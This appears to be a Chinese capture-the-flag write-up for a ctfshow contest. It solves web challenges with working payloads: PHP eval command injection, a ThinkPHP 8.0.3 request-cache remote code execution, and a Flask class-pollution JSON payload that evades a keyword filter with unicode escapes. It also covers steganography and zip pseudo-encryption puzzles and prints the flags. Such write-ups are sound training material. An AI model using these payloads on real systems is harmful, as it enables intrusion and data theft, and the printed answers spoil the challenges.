[TOC]

ctfshow西瓜杯wp

web

CodeInject

考点:命令执行

1
2
3
4
5
6
7
8
<?php

#Author: h1xa

error_reporting(0);
show_source(__FILE__);

eval("var_dump((Object)$_POST[1]);");

直接构造联合执行。

payload:

1
1=1);system('ls /'); #

image-20241125151729390

1
1=1);system('cat /000f1ag.txt'); #

ctfshow{729e8c3e-142b-447a-8186-86cdac43b7a1}

tpdoor

考点:thinkphp漏洞

打开网址发现,就一句话,什么都没有

先下载源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

namespace app\controller;

use app\BaseController;
use think\facade\Db;

class Index extends BaseController
{
protected $middleware = ['think\middleware\AllowCrossDomain','think\middleware\CheckRequestCache','think\middleware\LoadLangPack','think\middleware\SessionInit'];
public function index($isCache = false , $cacheTime = 3600)
{

if($isCache == true){
$config = require __DIR__.'/../../config/route.php';
$config['request_cache_key'] = $isCache;
$config['request_cache_expire'] = intval($cacheTime);
$config['request_cache_except'] = [];
file_put_contents(__DIR__.'/../../config/route.php', '<?php return '. var_export($config, true). ';');
return 'cache is enabled';
}else{
return 'Welcome ,cache is disabled';
}
}



}

审计发现,在 index路由,有一个 require __DIR__.'/../../config/route.php' 操作,同时后边还会对config/route.php修改,猜测和config/route.php文件有关。可控的值是$config['request_cache_key']

先根据 thinkphp 的路由规则,访问 /index.php/1,产生报错

image-20241125194710307

发现是tp8.0.3版本

源审易得: 数据通过竖线分开, 前面为参数, 后面为函数

根据 thinkphp 的路由规则,访问 /index.php/index/index,能够走到题目给出的Index\index里,然后传递参数isCachecacheTime

然后在 isCache里输入命令,设置cacheTime 为1秒,让cache生效快点,多访问几次,成功RCE

构造payload:

1
/index.php/?cacheTime=0&isCache=ls /|system

image-20241125195017937

/index.php/?cacheTime=0&isCache=cat /000f1ag.txt|system

image-20241125195108938

ctfshow{7d6eab62-7f69-4815-86de-3bb5c8157f41}

easy_polluted

考点:原型链污染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import re
def generate_random_md5():
random_string = os.urandom(16)
md5_hash = hashlib.md5(random_string)

return md5_hash.hexdigest()
def filter(user_input):
blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string']
for pattern in blacklisted_patterns:
if re.search(pattern, user_input, re.IGNORECASE):
return True
return False
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)


app = Flask(__name__)
app.secret_key = generate_random_md5()

class evil():
def __init__(self):
pass

@app.route('/',methods=['POST'])
def index():
username = request.form.get('username')
password = request.form.get('password')
session["username"] = username
session["password"] = password
Evil = evil()
if request.data:
if filter(str(request.data)):
return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"
else:
merge(json.loads(request.data), Evil)
return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"
return render_template("index.html")

@app.route('/admin',methods=['POST', 'GET'])
def templates():
username = session.get("username", None)
password = session.get("password", None)
if username and password:
if username == "adminer" and password == app.secret_key:
return render_template("flag.html", flag=open("/flag", "rt").read())
else:
return "Unauthorized"
else:
return f'Hello, This is the POLLUTED page.'

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

审计代码,发现有merge函数,又是flask架构,想到可能有原型链污染。

可以直接污染静态目录为根目录,但是有过滤[‘init’, ‘global’, ‘env’, ‘app’, ‘_’, ‘string’]

但是merge(json.loads(request.data), Evil)中用了json.loads(),所以可以用unicode编码绕过

1
2
3
4
{"username":"adminer","password":"123","__init__": {"__globals__": {"app":{"secret_key": "123","_static_folder":"/"}}}}

unicode编码:
{"username":"adminer","password":"123","\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" : {"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" :{"\u0061\u0070\u0070" :{"\u0073\u0065\u0063\u0072\u0065\u0074\u005f\u006b\u0065\u0079": "123","\u005f\u0073\u0074\u0061\u0074\u0069\u0063\u005f\u0066\u006f\u006c\u0064\u0065\u0072":"\u002f"}}}}

image-20241125221629848

访问/static/flag

image-20241125221711073

ctfshow{96d52cff-71d8-4006-b644-32e781527715}

misc

她说她想结婚

考点:snow隐写,oursecret加密,文件提取,压缩包伪加密,

下载附件,解压缩,是一张png图片。

binwalk检测,发现藏了压缩包。提取压缩包

image-20241125204334113

放进010editor,发现全是伪加密。修改09 -> 00

image-20241125204450793

解压后发现有一堆文件,先查看flag.txt。

直接打开是乱码,放进浏览器打开

image-20241125204542518

image-20241125204621739

snow隐写,需要密码,根据hint,密码就是图片上那句话

image-20241125204715554

image-20241125204746460

得到一半flag。

另一半是在png图片里,010中看到了9E 97 BA 2A ,这是oursecret加密

解密的密码怎么办呢?想想看0~10.txt文件,想到时间戳,提取时间戳后三位,再经过ascii码转换,得到密钥:

image-20241125205149978

image-20241125205216350

先将png文件末尾的压缩包数据删去,然后再放进oursecret解密

image-20241125205242468

得到一段base64。

image-20241125205007778

解密得到flag

ctfshow{W1sh1ng_every0ne_4_happy_time_pl4ying}